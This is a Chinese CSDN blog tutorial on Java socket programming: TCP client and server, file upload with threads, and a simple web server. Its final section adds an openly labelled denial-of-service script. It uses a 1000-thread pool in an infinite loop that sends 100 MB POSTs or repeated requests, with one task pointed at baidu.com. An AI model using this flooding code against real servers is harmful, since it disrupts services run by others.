Java网络编程

最新推荐文章于 2023-06-24 21:33:09 发布
最新推荐文章于 2023-06-24 21:33:09 发布
阅读量237 收藏
点赞数
分类专栏： Java攻城狮
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LYZ2017/article/details/82782632
版权

一、  TCP案例的客户端

    1、在Java中，有一个类叫做Socket，表示TCP的客户端

    Socket构造方法：

        Socket(String host, int port)： 参数host表示目标服务器的ip地址。 参数port表示服务器程序的端口号。

    Socket的其他方法：

        OutputStream getOutputStream()：获取一个字节输出流，用来写数据（向服务器写数据）

        InputStream getInputStream(): 获取一个字节输入流，用来读数据（读取服务器发过来的数据）

        void close()： 释放

    使用步骤：

        1. 创建一个Socket客户端对象，在参数位置指定一个要连接的服务器ip地址和端口号

        2. 调用socket对象的getOutputStream方法，获取输出流，用来向服务器写数据。

        3. 调用输出流的write方法，向服务器发送数据。

        4. 调用Socket对象的getInputStream方法，获取输入流，用来读取服务器发送过来的数据。

        5. 调用输入流的read方法，读取服务器发送过来的数据。

        6. 释放资源

public class Demo01Client {

    public static void main(String[] args) throws IOException {

        //创建一个Socket客户端对象，在参数位置指定一个要连接的服务器ip地址和端口号

        //客户端会尝试去连接服务器， 如果连接失败，那么就会报错，因为tcp是可靠协议，必须要先建立连接（三次握手）

        Socket socket = new Socket("127.0.0.1", 9527);

        //调用socket对象的getOutputStream方法，获取输出流，用来向服务器写数据。

        OutputStream out = socket.getOutputStream();//这个流的目的地是服务器

        //调用输出流的write方法，向服务器发送数据。

        out.write("你好服务器，I’m coming".getBytes());

 

        //调用Socket对象的getInputStream方法，获取输入流，用来读取服务器发送过来的数据。

        InputStream in = socket.getInputStream();//这个输入流是从服务器读取数据

        //调用输入流的read方法，读取服务器发送过来的数据。

        byte[] bArr = new byte[1024];

        int len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

 

        //释放资源

        socket.close();

    }

}

2、tcp案例中的服务器

   在java中，ServerSocket表示服务器。

   ServerSocket的构造方法：

        ServerSocket(int port)： 参数port表示此服务器程序的端口号。

    ServerSocket的其他方法：

        Socket accept()： 监听并获取客户端Socket。 （等着客户端来访问，什么时候客户端来访问，什么时候就可以获取到客户端Socket）

        void close()： 释放资源

    服务器的使用步骤：

        1. 创建ServerSocket服务器对象。

        2. 调用accept方法，监听并获取客户的请求， 可以得到客户端Socket对象。

        3. 通过Socket对象调用getInputStream方法，得到流用来读取，此时读取的是客户端发来的数据。

        4. 调用输入流的read方法，读取到数据。

        5. 通过Socket对象调用getOutputStream方法，获取输出流，用来写（此时是向客户端写数据）

        6. 调用输出流的write方法，写数据

        7. 释放资源。

        

public class Demo02Server {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象。

        ServerSocket serverSocket = new ServerSocket(9527);

        //调用accept方法，监听并获取客户的请求， 可以得到客户端Socket对象。

        Socket socket = serverSocket.accept();

 

        //System.out.println(socket.getInetAddress());

 

        //调用socket的getInputStream，获取输入流

        InputStream in = socket.getInputStream(); //这个输入流是读取客户端发过来的数据

        //调用输入流的read方法，读取到数据。

        byte[] bArr = new byte[1024];

        int len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

 

        //调用socket的getOutputStream，获取输出流。

        OutputStream out = socket.getOutputStream();

        //调用输出流的write方法，写数据

        out.write("收到，谢谢".getBytes());

 

        //释放资源

        socket.close();

        serverSocket.close();

    }

}

二、 上传案例的客户端

    1、客户端做的事情是将自己电脑上的文件字节读取出来，写到服务器中，然后再接收一下服务器返回过来的数据。

    步骤：

        1. 创建一个FileInputStream，用来读取客户端自己电脑的文件。

        2. 创建一个客户端Socket对象，并且指定要连接的服务器

        3. 调用Socket对象的getOutputStream方法，获取一个输出流。

        4. 循环读取，每读取一个字节数组，就将读取到的内容写到目的地（服务器）文件中

        5. 释放FileInputStream资源

        6. 调用Socket对象的getInputStream方法，获取一个输入流

        7. 调用输入流的read方法，接收服务器返回过来的数据。

        8. 释放客户端Socket资源

public class Demo01UploadClient {

    public static void main(String[] args) throws IOException {

        //创建一个FileInputStream，用来读取客户端自己电脑的文件。

        FileInputStream fis = new FileInputStream("d:\\client\\aa.jpg");

        //创建一个客户端Socket对象，并且指定要连接的服务器

        Socket socket = new Socket("127.0.0.1", 9527);

        //调用Socket对象的getOutputStream方法，获取一个输出流。

        OutputStream out = socket.getOutputStream();

 

        //循环读取，每读取一个字节数组，就将读取到的内容写到目的地（服务器）文件中

        byte[] bArr = new byte[1024];

        int len;

        while ((len = fis.read(bArr)) != -1) {

            //将读取到的数据写到服务器。

            out.write(bArr, 0, len);

        }

 

        //客户端写完数据，要通知服务器，我已经写完了，你就不要再等我了

        socket.shutdownOutput();

 

        //释放FileInputStream资源

        fis.close();

 

        //调用Socket对象的getInputStream方法，获取一个输入流

        InputStream in = socket.getInputStream();

        //调用输入流的read方法，接收服务器返回过来的数据。

        len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

        //释放资源

        socket.close();

    }

}

2、上传案例服务器

    服务器需要读取客户端发送过来的字节，然后将这些字节写到自己的电脑中。 再给客户端回一个消息。

    思路：

        1. 创建ServerSocket服务器对象

        2. 创建一个字节输出流对象，向自己电脑上写数据。

        3. 调用服务器ServerSocket对象的accept方法，获取一个客户端Socket对象

        4. 调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

        5. 读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

        6. 释放资源

        7. 调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

        8. 调用输出流对象的write方法，向客户端写数据。

        9. 释放资源

public class Demo02UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

 

        //调用服务器ServerSocket对象的accept方法，获取一个客户端Socket对象

        Socket socket = serverSocket.accept();

 

        //创建一个字节输出流对象，向自己电脑上写数据。

        FileOutputStream fos = new FileOutputStream("d:\\server\\"+ UUID.randomUUID().toString()+".jpg");

 

        //调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

        InputStream in = socket.getInputStream();

        //读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

        byte[] bArr = new byte[1024];

        int len;

        while ((len = in.read(bArr)) != -1) {

            fos.write(bArr, 0, len);

        }

        //释放资源

        fos.close();

 

        //调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

        OutputStream out = socket.getOutputStream();

        //调用输出流对象的write方法，向客户端写数据。

        out.write("上传成功".getBytes());

        //释放资源

        socket.close();

 

    }

}

 

3、之前服务器收到一个上传请求后那么就会停止。

    这样是不符合要求的。

    正常要求： 服务器可以给多个客户端执行上传任务，即使上传完成，那么服务器也不会停止。

    我们可以把监听获取客户端请求的代码，以及执行上传操作的代码放在死循环中，让他一直执行。

@SuppressWarnings("all")

public class Demo03UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法，获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //创建一个字节输出流对象，向自己电脑上写数据。

            FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

 

            //调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

            InputStream in = socket.getInputStream();

            //读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

            byte[] bArr = new byte[1024];

            int len;

            while ((len = in.read(bArr)) != -1) {

                fos.write(bArr, 0, len);

            }

            //释放资源

            fos.close();

 

            //调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

            OutputStream out = socket.getOutputStream();

            //调用输出流对象的write方法，向客户端写数据。

            out.write("上传成功".getBytes());

            //释放资源

            socket.close();

        }

    }

}

 

4、死循环问题解决

    之前的死循环版本是有问题的。

    如果某个人上传了比较大的文件，那么服务器会一直给这个客户端执行上传任务，那么此时他就不会去监听

    后面的客户端请求，此时其他客户端就只能等着。

    解决方式：使用多线程。

    之前： 每收到一个上传请求，就在mian线程中给这个客户端执行上传任务。

    现在： 每收到一个上传请求，就创建一个新的线程，让新的线程执行这个上传任务。

          因为是新线程执行的上传任务，所以mian线程还可以继续往下执行， 可以执行监听并获取客户端请求的代码。

@SuppressWarnings("all")

public class Demo04UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法，获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //创建一个Task对象

            Task task = new Task(socket);

            //创建一个新的线程去执行这个任务

            new Thread(task).start();

        }

    }

}

5、上传案例Lambda表达式版本

@SuppressWarnings("all")

public class Demo05UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法，获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //Lambda表达式版本

            new Thread(() -> {

                try {

                    //创建一个字节输出流对象，向自己电脑上写数据。

                    FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

                    //调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

                    InputStream in = socket.getInputStream();

                    //读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

                    byte[] bArr = new byte[1024];

                    int len;

                    while ((len = in.read(bArr)) != -1) {

                        fos.write(bArr, 0, len);

                    }

                    //释放资源

                    fos.close();

 

                    //调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

                    OutputStream out = socket.getOutputStream();

                    //调用输出流对象的write方法，向客户端写数据。

                    out.write("上传成功".getBytes());

                    //释放资源

                    socket.close();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }).start();

 

 

            //实现匿名内部类版本

            /*

            new Thread(new Runnable() {

                @Override

                public void run() {

                    try {

                        //创建一个字节输出流对象，向自己电脑上写数据。

                        FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

                        //调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

                        InputStream in = socket.getInputStream();

                        //读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

                        byte[] bArr = new byte[1024];

                        int len;

                        while ((len = in.read(bArr)) != -1) {

                            fos.write(bArr, 0, len);

                        }

                        //释放资源

                        fos.close();

 

                        //调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

                        OutputStream out = socket.getOutputStream();

                        //调用输出流对象的write方法，向客户端写数据。

                        out.write("上传成功".getBytes());

                        //释放资源

                        socket.close();

                    } catch (IOException e) {

                        e.printStackTrace();

                    }

                }

            }).start();

            */

        }

    }

}

 

 

6、线程任务类，线程要执行的任务是上传任务

public class Task implements Runnable{

 

    //定义一个成员变量Socket，用来接收外界传递过来的Socket对象

    private Socket socket;

 

    //提供一个构造方法，用来给这个Socket对象赋值

    public Task(Socket socket) {

        this.socket = socket;

    }

 

    @Override

    public void run() {

        try {

 

            //创建一个字节输出流对象，向自己电脑上写数据。

            FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

 

            //调用客户端Socket对象的getInputStream方法，获取输入流用来读取客户端发过来的数据。

            InputStream in = socket.getInputStream();

            //读取客户端发送过来的数据， 一次读取一个字节数组，每读取到，就将读取到的内容写到自己本地。

            byte[] bArr = new byte[1024];

            int len;

            while ((len = in.read(bArr)) != -1) {

                fos.write(bArr, 0, len);

            }

            //释放资源

            fos.close();

 

            //调用Socket对象的getOutputStream方法，获取输出流用来向客户端写数据

            OutputStream out = socket.getOutputStream();

            //调用输出流对象的write方法，向客户端写数据。

            out.write("上传成功".getBytes());

            //释放资源

            socket.close();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

三、模拟web服务器

public class Demo01Tomcat {

    public static void main(String[] args) throws IOException {

        //创建一个服务器ServerSocket对象

        ServerSocket serverSocket = new ServerSocket(10000);

        while(true) {

            //监听并获取客户端的请求

            Socket socket = serverSocket.accept();

 

            new Thread(() -> {

                try {

                    //将index.html文件中的内容读取出来，写给浏览器

                    //创建一个字节输入流，用来读取本地的文件

                    FileInputStream fis = new FileInputStream("day11\\index.html");

                    //通过Socket获取一个输出流， 用来向客户端(浏览器)写数据

                    OutputStream out = socket.getOutputStream();

                    //根据http协议要求，前三行必须是固定的内容。 前两行是特殊的字符串， 第三行是一个空换行。

                    out.write("HTTP/1.1 200 OK\r\n".getBytes()); //第一行

                    out.write("Content-Type:text/html\r\n\r\n".getBytes()); //第二行第三行

 

                    //开始读取index.html中的文件内容，并写到浏览器中

                    byte[] bArr = new byte[1024];

                    int len;

                    while((len = fis.read(bArr)) != -1) {

                        //将读取到的数据写到目的地文件中

                        out.write(bArr, 0, len);

                    }

                    //释放资源

                    fis.close();

                    socket.close();

                } catch (IOException e) {

                    e.printStackTrace();

                }

 

            }).start();

 

 

        }

 

    }

}

 

四、服务器拒绝访问攻击

 

public class Task2 implements Runnable {

 

    @Override

    public void run() {

        try {

            System.out.println("发报成功");

            URL url = new URL("http://");

            URLConnection con = url.openConnection();

            con.setDoOutput(true);

            OutputStream out = con.getOutputStream();

            out.write(new byte[1024 * 1024 * 100]);

        } catch (MalformedURLException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        } catch (IOException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        }

    }

}

public class Task implements Runnable {

 

    @Override

    public void run() {

        try {

            URL url = new URL("http://www.baidu.com");

            URLConnection conn = url.openConnection();

            System.out.println("发包成功！");

            BufferedInputStream bis = new BufferedInputStream(

                    conn.getInputStream());

            byte[] bytes = new byte[1024 * 10];

            int len = -1;

            //StringBuilder sb = new StringBuilder();

 

            if (bis != null) {

                if ((len = bis.read(bytes)) != -1) {

                    //sb.append(new String(bytes, 0, len));

                    System.out.println(new String(bytes, 0, len));

                    System.out.println("攻击成功！");

                    bis.close();

                }

            }

        } catch (MalformedURLException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        } catch (IOException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        }

    }

}

 

package cn.itcast.demo04;

 

import java.util.concurrent.ExecutorService;

import java.util.concurrent.Executors;

 

public class Demo {

    public static void main(String[] args) {

        ExecutorService pool = Executors.newFixedThreadPool(1000);

        while(true) {

            pool.submit(new Task2());

        }

    }

}

 

 

 

Moffett Lee
关注
专栏目录
java网络编程实验小结_Java实验报告五：Java网络编程及安全
weixin_29668665的博客
02-24 1542
Java实验报告五：Java网络编程及安全20135315 宋宸宁一、实验内容1．掌握Socket程序的编写；2．掌握密码技术的使用；3．设计安全传输系统。二、实验步骤1. 基于Java Socket实现安全传输2. 基于TCP实现客户端和服务器，结对编程一人负责客户端，一人负责服务器3. 使用Git进行版本控制4. 选择对称算法进行数据加解密.5. 选择非对称算法对对称加密密钥进行密钥分发.6...
java网络编程
03-03
在本资料中，《Java网络编程》第三版提供了深入浅出的讲解，旨在帮助开发者提升对这一领域的理解。 1. **基础概念**： - **网络模型**：Java网络编程基于OSI七层模型和TCP/IP四层模型。理解这些模型有助于理解网络...
JavaScript的Socket通讯包 jSocket
信管小强之家
10-23 3608
jSocket 是 JavaScript 实现 Socket 通讯的解决方案. <script type='text/javascript'> // Host we are connecting to var host = 'localhost'; // Port we are connecting on v...
Java 网络编程
编程开发相关技术学习
12-06 2928
在计算机网络要做到井井有条的交换数据，就必须遵守一些事先约定好的规则，比如交换数据的格式、是否需要发送一个应答信息。这些规则被称为网络协议。TCP/IP：传输控制/网络协议，是面向连接的协议，发送数据前要先建立连接(发送方和接收方的成对的两个之间必须建 立连接)，TCP提供可靠的服务，也就是说，通过TCP连接传输的数据不会丢失，没有重复，并且按顺序到达。UDP：UDP它是属于TCP/IP协议族中的一种。是无连接的协议，发送数据前不需要建立连接，是没有可靠性的协议。因为不需要建立连接所以可以在在网络上以任何可
java——网络编程
最新发布
Why_does_it_work的博客
06-24 4517
它的核心组件包括IoFilter、IoSession、IoHandler等，可以帮助开发人员构建可靠的、高效的网络应用程序。Spring Web是Spring框架中的一个模块，提供了一系列用于构建Web应用程序的工具和框架，包括MVC、REST等。它提供了丰富的API和插件，可以帮助开发人员实现高性能、可靠的Web应用程序。通过这些规则和标准，不同的计算机和设备可以相互通信，并保证数据的正确传输和接收。Java中的NIO编程是一种基于事件驱动的编程模式，相对于传统的IO编程，它具有更高的性能和扩展性。
Java网络编程之实现文件上传
write less , do more
04-30 7014
🐱文件上传分析图解 😺基本实现 😹文件上传优化分析 😿优化实现 🙈信息回写分析图解 🙉回写实现
java 网络编程 总结篇
m0_67391377的博客
04-03 1527
一、Socket编程 1.IP和域名 IP是一台计算机在网络中的唯一身份标示。 域名是ip的映射。 2.端口:0-65535 端口是计算机上的每个程序与网络中的其他计算机进行通信的窗口。 3.传输协议 （1）TCP TCP是面向链接的、端到端的、可靠的协议(字节流)。 （2）UDP UDP是不面向链接的不可靠的协议(数据报)。 二、TCP编程 （1）服务器 a.创建ServerSocket对象，广播自己通信的端口号 b.ServerSocket对象调用accept()方法，等待和接收客户端通信链接请求，建立
Java网络编程——Socket 编程
热门推荐
涛涛的个人博客
07-17 1万+
Java网络编程——Socket 编程
Java 网络编程（大全）
快乐学习
09-20 1万+
浏览器就是我们日常使用的浏览器去访问各种网站，只要有浏览器就可以访问，不依赖特定的PC端，在任意设备上都可以访问网站服务器。不需要建立连接（因为把数据源IP、目的地IP、端口封装成数据包），每个数据包在64KB内，只管发，不管对方有没有接到确认什么的。IP地址可以理解为具体哪个计算机，端口理解计算机上的程序（一个程序一个端口），协议理解为电脑通过什么方式和外界交互。客户端是需要程序员去开发的，例如日常使用的各种的APP，服务端就是服务器。一、2请分析C/S和B/S架构相比的各自的优缺点？
Java网络编程案例教程习题参考答案 .pdf
12-28
Java网络编程案例教程习题参考答案 Java_network_programming是Java编程语言中一个基础组件，用于实现网络通信。以下是Java网络编程案例教程习题参考答案中涉及到的知识点： 1. Socket编程：Socket是Java网络编程...
Java网络编程期末考试复习题库+答案
07-06
Java网络编程是计算机科学中的一个重要领域，特别是在软件开发中，它涉及到如何通过网络进行数据传输和通信。在Java中，网络编程主要依赖于Java的Socket编程、ServerSocket、URL类以及NIO（非阻塞I/O）等核心API。这...
Java网络编程/Java网络编程实例
11-29
Java网络编程是Java开发中的重要领域，它涵盖了网络应用程序的设计、实现和调试。在这个主题下，我们可以探讨多个关键知识点： 1. **Java Socket编程**：Java的Socket类提供了基于TCP/IP协议的网络通信能力。通过...
Java异常、try-catch、自定义异常
http://www.onlyze.cn/
09-08 2874
 一、异常 1、异常的概念：     异常指的是不正常， 指的是程序中出现了某些问题。     在Java中，所有的问题都可以使用一个类来表示，这个类叫做Throwable。     Throwable是Java中所有异常和错误的父类。     Throwable         |-- Error： 表示错误。 指的是不可挽回的严重问题。 相当于人得了绝症。         |--...
多核编程 与 单核多线程编程的区别
http://www.onlyze.cn/
04-12 1359
1、锁竞争： 单核中，如果单个线程取得所，则获取CPU运行时间，其他等待获取锁的线程被阻塞。使用了锁，影响的只是枷锁和解锁的耗时，CPU始终运行。 多核中，若2个（更多）线程使用同一把锁，则会导致CPU饥饿。实际还是串行化执行！ 2、线程分解和执行的区别： 对单核CPU，对客户端软件，采用多线程，主要是 创建多线程将一些计算放在后台执行，而不影响用户交互操作。（用户界面 & 其他计...
java-函数式编程-函数式接口以及方法应用
http://www.onlyze.cn/
09-20 823
一、lambda表达式       1、 Lambda表达式是匿名内部类的简化写法。     Lambda标准格式：     (参数类型 参数名) -> {         方法体;         return 返回值;         }       省略规则：         1. 小括号中的参数类型可以省略。         2. 如果小括号中只有一个参数，那么...
Junit单元测试、反射、注解
http://www.onlyze.cn/
09-20 784
一、Junit单元测试     1、单元测试：可以代替掉程序中的main方法。程序可以从单元测试方法开始执行。     使用：         1. 要在单元测试方法上面加上注解 @Test         2. 以单元测试的方式去运行即可。     要求：         1. 单元测试方法的方法名一般以test开头 （软性规定）         2. 单元测试方法要以public...
java-Stream流
http://www.onlyze.cn/
09-20 577
一、Predicate接口  在java中，还有一个函数式接口叫做Predicate，这个接口中有一个抽象方法test，可以对一个数据进行判断，并返回结果     1、抽象方法：         boolean test(T t)： 判断参数t是否合法，如果合法返回true。     默认方法：         default Predicate and(Predicate other)...
Java网络编程深入解析
总体来说，《Java网络高级编程》是一本全面覆盖Java网络技术的教材，适合对Java网络编程有深入学习需求的大学生、研究生，以及对此领域感兴趣的自学者。通过阅读本书，读者可以系统地掌握Java在网络环境中的高级应用...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值